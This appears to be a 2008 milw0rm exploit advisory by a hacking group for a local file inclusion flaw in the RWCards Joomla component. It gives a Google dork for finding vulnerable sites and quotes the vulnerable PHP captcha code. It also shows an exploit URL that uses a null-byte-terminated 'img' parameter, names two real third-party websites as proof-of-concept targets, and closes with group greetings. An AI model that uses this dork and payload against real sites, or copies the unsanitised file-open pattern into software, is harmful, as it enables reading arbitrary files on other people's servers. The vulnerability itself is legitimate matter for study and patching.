55 lines
No EOL
2.4 KiB
Text
55 lines
No EOL
2.4 KiB
Text
[o]------------------------------------------------------------------------------------[x]
|
|
| Local File Inclusion Vulnerability |
|
|
[o]------------------------------------------------------------------------------------[o]
|
|
| Software : RWCards 3.0.11 Component for Joomla 1.5 CMS |
|
|
| Vendor : http://www.weberr.de/ |
|
|
| Date : 23 October 2008 |
|
|
| Author : Vrs-hCk |
|
|
| Contact : d00r[at]telkom[dot]net |
|
|
[o]------------------------------------------------------------------------------------[o]
|
|
|
|
[»] Google Dork
|
|
|
|
inurl:com_rwcards
|
|
|
|
[»] Vulnerable
|
|
|
|
./components/com_rwcards/captcha/captcha_image.php
|
|
|
|
15: if (!empty( $_GET['img'] ) )
|
|
16: $img = $_GET['img'];
|
|
17: else
|
|
18: {
|
|
19: echo 'no image file specified via &img=...';
|
|
20: exit;
|
|
21: }
|
|
22:
|
|
23: if (!$fh = fopen( $tmp_dir_path.'cap_'.$img.'.jpg', 'rb'))
|
|
24: {
|
|
25: echo 'could not open image file!';
|
|
26: }
|
|
27: else
|
|
28: {
|
|
29: fpassthru( $fh );
|
|
30: fclose( $fh );
|
|
31: }
|
|
|
|
[»] Exploit
|
|
|
|
http://[site]/[path]/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00
|
|
|
|
[»] Proof of Concept
|
|
|
|
http://www.abcdobebe.com/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00
|
|
http://www.whiskynet.co.uk/components/com_rwcards/captcha/captcha_image.php?img=[LFI]%00
|
|
|
|
[o]------------------------------------------------------------------------------------[x]
|
|
| Greetz |
|
|
[o]------------------------------------------------------------------------------------[o]
|
|
| All Member oF MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org |
|
|
| Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, Angela Chang, IrcMafia, }^-^{, em|nem, |
|
|
| loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc, terbang_melayang, |
|
|
| chawanua, bl4Ck_3n91n3, R3V4N_B4ST4RD, dkk ... c0li.m0de.0n !!! |
|
|
[o]------------------------------------------------------------------------------------[o]
|
|
|
|
# milw0rm.com [2008-10-23] |